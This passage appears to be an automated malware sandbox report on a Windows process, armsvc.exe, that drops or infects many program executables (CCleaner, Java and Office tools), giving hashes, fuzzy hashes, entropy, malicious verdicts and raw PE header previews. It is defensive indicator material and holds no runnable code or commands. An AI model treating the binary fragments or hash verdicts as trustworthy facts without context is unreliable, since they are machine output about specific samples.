SHA-512:	CB62DDC4CB456B6DFF4B3EBE4C50DBEEA47C8A127C0DE1250E2EA41C1EAACAFB2CB47B9E605A69B9FC6F83839CB00CE4EA86F08CE133638BABCE408A44D728D5
Malicious:	false
Preview:	Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...Disabled unneeded token privilege: SeAuditPrivilege...Disabled unneeded token privilege: SeBackupPrivilege...Disabled unneeded token privilege: SeCreateGlobalPrivilege...Disabled unneeded token privilege: SeCreatePagefilePrivilege...Disabled unneeded token privilege: SeCreatePermanentPrivilege...Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..Disabled unneeded token privilege: SeDebugPrivilege...Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..Disabled unneeded token privilege: SeImpersonatePrivilege...Disabled unneeded token privilege: SeIncreaseBasePriorityPrivilege...Disabled unneeded token privilege: SeIncreaseQuotaPrivilege...Disabled unneeded token privilege: SeIncreaseWorkingSetPrivilege...Disabled unneeded token privilege: SeLoadDriverPrivilege...Disabled unneeded token privilege: SeLockMemory

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1661952
Entropy (8bit):	4.349536196253639
Encrypted:	false
SSDEEP:	24576:pwLZrVqVg9N9JMlDlfjRiVuVsWt5MJMs:C9rIgFIDRRAubt5M
MD5:	CC9BE47A84D7EB73D78181F087D654DC
SHA1:	6075C247BF5C764A7F82B717F224866B828DF6DB
SHA-256:	87E6CFD6BD4BC73BA9E686DB6E43AF6AEA4CDC7C6340828360B61ECB445EDD63
SHA-512:	BE9BE38E7272AA51E7D012B1500C003104506C2D8E0672165C48091050CC7D82A8CFFA18E23FDED34514C529738757C93D1ED275D589D2E5991BC9B9BC847C28
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8...Y...Y...Y.......Y......cY.......Y..u.H..Y.......Y.......Y.......Y.......Y...Y..ZY..~....Y..y.p..Y..~....Y..Rich.Y..................PE..L...aw.X.........."..................O............@.........................................................................L[.......................................P..T...........................hP..@............................................text............................... ..`.rdata..............................@..@.data...P....p.......X..............@....gfids...............b..............@..@.rsrc................d..............@..@.reloc...............l..............@...........................................................................................................................................................................................................................................................

C:\Program Files\CCleaner\CCleaner.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7916544
Entropy (8bit):	6.808800946972303
Encrypted:	false
SSDEEP:	98304:o4XzU6N8DGpG+HIIbaATLQOzgA2YcwTPujzFPGctXLcMpiYUf:vWmG+onAtkJYrTG3x9rUf
MD5:	ADFFCA97437F33E304EDA77C317E5AB5
SHA1:	B5BB54BE8E9B3DFC99AEA73FD1867C6BB0BB29F7
SHA-256:	EF226CFB32CB970022BE8906DBA10AB5AC88C2A89B7C20509954E5F9BD3E7641
SHA-512:	43E71C5A6321805196180E09D4F464E0F227CB5E743E30CDA20E386B4EF14E85B1053B2744D75A69E80F730CA8F81ECB9CA754BB87FC686903E50F1D2BAC0C06
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.........."...q...q...q.bgq...q.beqx..q.bdq...q...p...qk..p...q...p...q\..p...q...p...q..p...q..p...q..p...q...qg..q,..p...q+..p...q+.iq...q...q...q,..p...qRich...q................PE..L...j..X..................0..(`.............. 0...@..........................P.......My.....................................X.>.......d...'.........................0k6.T....................k6.....0c0.@............ 0.......>.`....................text.....0.......0................. ..`.rdata..$.... 0.......0.............@..@.data.....%...>..`....>.............@....gfids........d......0D.............@..@.tls..........d......:D.............@....rsrc.....'...d...'..<D.............@..@.reloc...............,l.............@...........................................................................................................................................................................

C:\Program Files\CCleaner\CCleaner64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9932288
Entropy (8bit):	6.573768136064191
Encrypted:	false
SSDEEP:	98304:x8KDFDVEj6anCFaSnouaILckYPujzFPGctXLcMMUf:x7DVy6TaSnokIkYG3x9kUf
MD5:	91AA31DB7CC4AB3BB8D7ACABA6FF8B3B
SHA1:	B7DE59619FDFF119F0B276C4711F64A1C1245CBE
SHA-256:	CACFD2EF0A7AF7DAE8E7E1A7EA05E4560C5852E501B5C6B39BDBAADCB88EC361
SHA-512:	870DD6B0E9D2DE4B88843DCADCBDABE94B88BAEA71BEF348970080191C9E069D50D6692F3D5468A7B59A79C2C2876B472F924BA9F761914D682774D9EB1121FC
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......#.cg..0g..0g..0...0k..0...0...0...0}..0\..1o..0...1n..0\..1O..0...1d..0...1f..0\..1 ..0...1i..0...1e..0...1\|..0g..0...0...1f..0...1...0...0f..0g.y0b..0...1f..0Richg..0........PE..d......X..........".......B...l................@.............................@......m..... .................................................0.\...........'..0..,4...................eL.T...................HfL.(... .B..............0B.h...P.\.`....................text...W.B.......B................. ..`.rdata.......0B.......B.............@..@.data...0+&...].......\.............@....pdata..,4...0...6....b.............@..@.gfids.......p........e.............@..@.tls..................e.............@....rsrc.....'.......'...e.............@..@.reloc.............................@...................................................................................................................

C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1666048
Entropy (8bit):	4.323754583224004
Encrypted:	false
SSDEEP:	12288:1jrNF/ZXGtFBV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:1FGX7Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	C92655B3FDD91A5FD88170CF4442DBF9
SHA1:	261AA4A4558256AB49546498A4D1117BAE2B66AF
SHA-256:	F57A2BDB30EEC7212D9D0B953D1DEF3849C404F89231A6953AF1FBF3920515CA
SHA-512:	F546C5A9A8CC6877EBDC4C3DCDDEAC13E15B8BF124B78851A9ACABEA23C008B95B558B172F5C5E098F8D27767A1639F57C37A09E8034C57CD35DB357BADCD3C2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........v.<...o...o...o...o...o...o...o...oF..o.o.o...o.o.o...o.o.o...o.o.o...o.o.o...oRich...o........................PE..d...OUIK..........".................hC.........@............................................................................................=..........0...........................`...8............................................................................text............................... ..`.rdata...e.......f..................@..@.data....9...p.......V..............@....pdata...............l..............@..@.rsrc...0...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\jabswitch.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1526784
Entropy (8bit):	4.025018462466428
Encrypted:	false
SSDEEP:	12288:MvV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:iVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	FE585477CBB9E34A740E545F66A4F0A5
SHA1:	88BFCB7ADE3E8CCE2A1DA0BB9090EDEA57FB160F
SHA-256:	6449D7370713A74A0CE27A12EFD7C7F3B81DC553B24EEAE8F47194A05FBB0122
SHA-512:	0029CC628B24227430EA67446DBEA0D90DB580CB1CE09E9641FFBC2E859BFAC7323E8500A3512B3194E097CD8FB5A37252E6D63D755ED58C3DED873E21F9BA63
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y..................................................................Rich...................PE..d....]OX.........."......,...>.......-.........@....................................jk.......................................................a..x....................................C...............................................@...............................text...B+.......,.................. ..`.rdata...*...@...,...0..............@..@.data...h....p.......\..............@....pdata...............^..............@..@.rsrc................b..............@..@.reloc...............l..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\java-rmi.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508352
Entropy (8bit):	4.000673470590711
Encrypted:	false
SSDEEP:	12288:S1V3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:S3Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	40BC613D8E346E2EDABBCE76676211BD
SHA1:	98D53C9B5B6FCEC98202D3D48D2A2A4A8E37AF89
SHA-256:	4EF3C29A688FAC360436FE2A35B44A9A685D8B93003016437E00DBE4A6E9941E
SHA-512:	E8399F116E559CDE3215568441EDA00072A1C663278D632F421D6E932D3100FDB15CCFBF0D89CF435316E22A8443B06B2799D9B3689ED7732B1ACB0074312267
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX..........".................$..........@.............................P......D........................................................#..P....P..\....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...\....P......................@..@.reloc.......`.......$..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\java.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1698304
Entropy (8bit):	4.4015136125452985
Encrypted:	false
SSDEEP:	24576:VSTPHT1DIVg9N9JMlDlfjRiVuVsWt5MJMs:VST/TugFIDRRAubt5M
MD5:	F939C3E0236CD9F43A7CB1D2392C4840
SHA1:	83EC834FAC5DFBF3459972DF8F98A1488E59E192
SHA-256:	8BECF4E10EECDA77A40C7983CE84CD28216612CFA1DCBA2787FC2A29E39702DA
SHA-512:	144626AB280AF55011C7979CAE7BB941D13C0B1A08500B9B3C02C0EB359617F20F94B1B1A70E27AFB4147133DFE49291CD3448D67273058D1D55CBB9DFD2EF57
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........#.q.p.q.p.q.p<?"p.q.p...p.q.p..$p.q.p..)p.q.p.q.p.q.p...p.q.p.. p.q.p..'p.q.pRich.q.p........................PE..d...~]OX.........."..........B.................@.............................P...............................................................]..d...............H.......................................................................X............................text...A........................... ..`.rdata..............................@..@.data....?...p.......X..............@....pdata..H............t..............@..@.rsrc...............................@..@.reloc.......`......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\javacpl.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1572352
Entropy (8bit):	4.123695335889213
Encrypted:	false
SSDEEP:	12288:93Kan/lPv0V3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:9xIVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	D2E1B6C2EF2481029B91BEE01A0CD5D3
SHA1:	068069D1414CE0534892A1E9AC57EB1E6942135E
SHA-256:	2BB6A3B224A64945336B8438A30F0296C83803722413B420A5B65E960DFF7C82
SHA-512:	7D2A7CF1F07CB549A4233B4C18CD11DC58CCF70FE4F39A1A02AD2891A1B1B1630E530518FCE75300A005720C0FFC54003CDB93BF107C3C05BBC8FFFDFE8E7A8B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$#..`B..`B..`B..{.f.bB....b.aB..{.d.bB..{.P.sB..i:i.iB..`B...B...4Q.hB..{.Q.gB..{.`.aB..{.g.aB..Rich`B..........PE..d....`OX.........."......Z..........tW.........@.............................P......V\|..........................................................x....................................s...............................................p...............................text....X.......Z.................. ..`.rdata...5...p...6...^..............@..@.data...x...........................@....pdata..............................@..@.rsrc...............................@..@.reloc.......`......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\javaw.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1698304
Entropy (8bit):	4.402152910472849
Encrypted:	false
SSDEEP:	24576:9Hj8YsTuDDVg9N9JMlDlfjRiVuVsWt5MJMs:9HjnsTqgFIDRRAubt5M
MD5:	38C3EA7CA99603488FF1135A3AD5A322
SHA1:	E096D791DA71FB02AACB69020F57BEAA15911C9E
SHA-256:	A8759062DB121B8A01412A459092815215E9237B71F4EADC57E02D038DA8E171
SHA-512:	D2A853FACE32BF1E3EFBAE4A2FD00DC35DE1250960E8E58B2F656AEBCA42254B0495FB4EFE754A5CF5459D6F5B87214ED3A9AD27E18D4248530D38743D6AFB6D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o."..eq..eq..eqY@.q..eq..q..eq..q..eq.v.q..eq..dq..eq..qk.eq..q..eq..q..eqRich..eq........PE..d...~]OX.........."..........B.................@.............................P.......r.......................................................]..d...............T.......................................................................X............................text............................... ..`.rdata..............................@..@.data....?...p.......X..............@....pdata..T............t..............@..@.rsrc...............................@..@.reloc.......`......................@...................................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\javaws.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1808384
Entropy (8bit):	4.520083463391029
Encrypted:	false
SSDEEP:	24576:nRjdh53Kv0Vg9N9JMlDlfjRiVuVsWt5MJMs:RjdJgFIDRRAubt5M
MD5:	285E161404B75971AFD7D6F25DABC055
SHA1:	790AB56A1F2335D54CA4DBF748689A2653481FB1
SHA-256:	919B17F5C7E011EBFDBFA91BD701E46CA790A5DB3D82E6AF009099209E48C361
SHA-512:	A2D254519BCD2D132A014997B66F335EAF735FE273331EDF0ACB9B5F04F2A0A4AB2514AF8D9B4642DEE55843FA437946792A876C1B4F2D29ADA14BB1F7215827
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q.............6A.......t.......L..............6u.D....6t......6E......6B.....Rich....................PE..d...d_OX.........."..........L.................@.............................`......_..........................................................x...............\| ..................`....................................................... ........................text...>........................... ..`.rdata.............................@..@.data...h...........................@....pdata..\| ......."..................@..@.rsrc................6..............@..@.reloc.......p......................@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\jjs.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508352
Entropy (8bit):	4.0011061130382135
Encrypted:	false
SSDEEP:	12288:oBV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:o7Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	B47E8DD138D3F9F963BF9D8D3C02ED65
SHA1:	110FF59A9857A4D98E14FF48F59EA9EAEF05C5E9
SHA-256:	1A957A8ABA5780DCFF7B13C64CC2AFBA44CBB2D6253C2E443BD7A117E1DAAD79
SHA-512:	33031C4748F46E2437BE606E9ADBC72335C31B5EF19751E65DDE27CF3B97AF33369DA2B6DF6CF1DA8419A540E5472B114382D2C4B55CEEAE4F7E93467BB1F3FC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P......>........................................................#..P....P..@....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...@....P......................@..@.reloc.......`.......$..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\jp2launcher.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1603584
Entropy (8bit):	4.197235556558599
Encrypted:	false
SSDEEP:	12288:433JWHkdceKV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:kVdceyVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	178FF05867F6E6FCC71739F5D8DDB4A4
SHA1:	1EFD0B97055B6CD9C1AF6400A09CA39C78C2AF3E
SHA-256:	FE490E13F733B8E0D641517F85D30B391D237D22784D07CA4CD18852027A8E86
SHA-512:	4D29B5F11BCE2033D6150A26A89E8A8D46009DB85DCD2468206EE94C4C916B6BA7F4FC7EE9E20D6623379BBFE5BC34B7FA86083F1C379B3C85E91ADC0DFDF0FE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........IJ..($..($..($..P...($....($.df...($....($..(%.N($.^...($....($....($....($....($.Rich.($.........PE..d...._OX..........".................\|..........@.....................................n...................................................... k..x.......H.......`...................P........................................................f.......................text...~........................... ..`.rdata..rj.......l..................@..@.data....6...........j..............@....pdata..`...........................@..@.rsrc...H...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\keytool.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.00001643378742
Encrypted:	false
SSDEEP:	12288:CvV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:CdVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	E96F4F693FACFDF5FA9812C3D43D94FD
SHA1:	DE3A1DF108F45018454E02BDAE24257CADE22576
SHA-256:	7BB182BCB86614B32E6CB5F9B075821925F688A8BC70EF025FD2CE7BB2608FCA
SHA-512:	86B0C13BEBA84E2697D45FDC8AC9EBBA21EBE165E47D5AC33FE3A091A3177C2067CC0259DC8365B449B007F925C02A33254640ACD29FE043DC0D0A6E6094067F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P......<........................................................#..P....P..T....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...T....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\kinit.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.000052478632848
Encrypted:	false
SSDEEP:	12288:2fV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:2tVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	3B0B1EAE4B6A689CA6A3FB65853C6AE7
SHA1:	60FE0BBC3315A09C8CB8F7353A413EFB25B8DB0A
SHA-256:	0ABF8240EC4EA32A16111DAC0203F1712F13238A9D7F2E39C0339C3B40C24227
SHA-512:	6856D50E3097B70FE4C3DED851177D3C37345A50654C9B62635E7EA2E7F29183F8373FE2BDC53ABAF8203523968755F119E8E73C13F5946C05657787F57A9CF9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P.......j.......................................................#..P....P..H....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...H....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\klist.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.000050858099175
Encrypted:	false
SSDEEP:	12288:DfV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:DtVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	018DBF2D48356A891846B379DA1FF300
SHA1:	15DDCD526EDA778E43C2F80BE4C203C5F15269CA
SHA-256:	6D9D5475B755390303D6C459FDB597E7096BD32BF2A6B5809DD011329F524310
SHA-512:	2F4EA075829427B070EB1F338425215576421AA2F5CE2AFB952FA6EB4E663A652FAB53606252088982C5E60EC9A835D7A1E19FC26AA563AB495EE402DC8A369D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P...............................................................#..P....P..H....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...H....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\ktab.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.000023603797839
Encrypted:	false
SSDEEP:	12288:uHV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:ulVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	4D15FA041DA708FF517EC80F157A2E85
SHA1:	09B20D5DAD77850D51F5C47538247FEE976D066B
SHA-256:	A71208D2C63EC3C17A7CB3FECCE4A2343824B9BE5E20518E7CCCCCAD3153A9A7
SHA-512:	60905DA27171110A4C804A24C37B17F6B55A10B9B806C2144083B71069F2FA1CF3193A01B7C89058964718F291FF8E1207D5E2752FA99ECF4D32BDADC23E2B3C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P......m........................................................#..P....P..H....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...H....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\orbd.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.000773445203762
Encrypted:	false
SSDEEP:	12288:/rV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:/hVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	111E42C322F70E37F9648044645EAF90
SHA1:	4CA22DEF9BC471B75B05866E2158E10623FD01AE
SHA-256:	711EB94A7B229DF0334B39D52E19F171D2A6CC08EE735311FDF4A132C6C5F36E
SHA-512:	4C6C74CAF007A4F7BBB0BC5B576FB6F3592081E2F0F13BE1BA36D484B3E30523082217C4F4216AEC39501BAF5A3684729FB5E8B60747D8E22E51E17EB9FEB156
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."................. ..........@.............................P......^.......................................................h$..P....P..H....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...H....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\pack200.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.0000329836634085
Encrypted:	false
SSDEEP:	12288:8vV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:8dVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	257E8C6C9044A556EDB9B92C12909FCD
SHA1:	278C1DBF3B9551DD062045BC22A18BA2E36E062F
SHA-256:	62039FA872517DEC519E4697F414A7159788D8E5C2D7A57B751B0468068ABEEB
SHA-512:	37742278F9D28BA4F851EB1C31BE4B5FD45C911E62818EACC2B6399DE21F36C8911D2FE2AC532D068B61CAA589237A9E8BCCF1BA411C25AAD9B86D0EA0BEFF06
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P...............................................................#..P....P..T....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...T....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\policytool.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.00004724552698
Encrypted:	false
SSDEEP:	12288:IqV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:ISVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	C9AAC268754DE57EA08798FAC2297BE7
SHA1:	93A63446E46DF119B3618688BFB68E0F860044F1
SHA-256:	1F7239D7A6EA18CEA4992AE251B4F9B43264488A8001EE7C5B9DBE86C5D62C58
SHA-512:	27BD8A83E9C9B69D0736EEEF89C9D799307CD0791FA9C379781E3196BCF64EF960AA23DAB8E4EA154803B355AB1C1CEB83224B6A9AF36574A4F5C7E08D0259B4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P......N........................................................$..P....P..h....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...h....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\rmid.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508352
Entropy (8bit):	4.001092108156764
Encrypted:	false
SSDEEP:	12288:QHV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:QlVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	2D8C088D3673B20DDEBF39F47F622A22
SHA1:	21C080104DBF3342FEAA145CCBA0C16AF4D3D098
SHA-256:	B5F88E8384028981E23791325D9E56872714FC650A7CF6CDA9E4FE9ED6C7A34E
SHA-512:	A1B5C919201521D13E17F0B1DAE075FC9748BE77B9D495BABC65BB27CA0E0F9D998FB2A9791A883CA6A7069179BF19D0CA87B6009371C14B4DD68EA61D1EA441
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P......6........................................................#..P....P..H....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...H....P......................@..@.reloc.......`.......$..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\rmiregistry.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.000009323291101
Encrypted:	false
SSDEEP:	12288:FgV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:FMVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	68F7F3C48FC17A20044C1A44635AA0B0
SHA1:	9BF2B27BCD599DDD1B20F27A5353BE31D1054FB7
SHA-256:	9EA19363B0196461F720A43E1DD9249B56F16DB354A845E8365E150AB4DE73D9
SHA-512:	83D3BF8F9E05E9C6450D2D3567FF829873DB9C7CD714B04770118661708038329142998A33B5DAEDE655A5A2C11C2E50039479386E92D3D508259260B1965C3F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A3.. ].. ].. ]..X... ]..... ]..... ].. \.. ]..... ]..... ]..... ].Rich. ].........................PE..d....]OX.........."............................@.............................P...............................................................#..P....P..h....@.......................!............................................... ..P............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc...h....P......................@..@.reloc.......`.......&..............@...........................................................................................................................................................................................................................................................................

C:\Program Files\Java\jre1.8.0_121\bin\servertool.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.00005638138536
Encrypted:	false
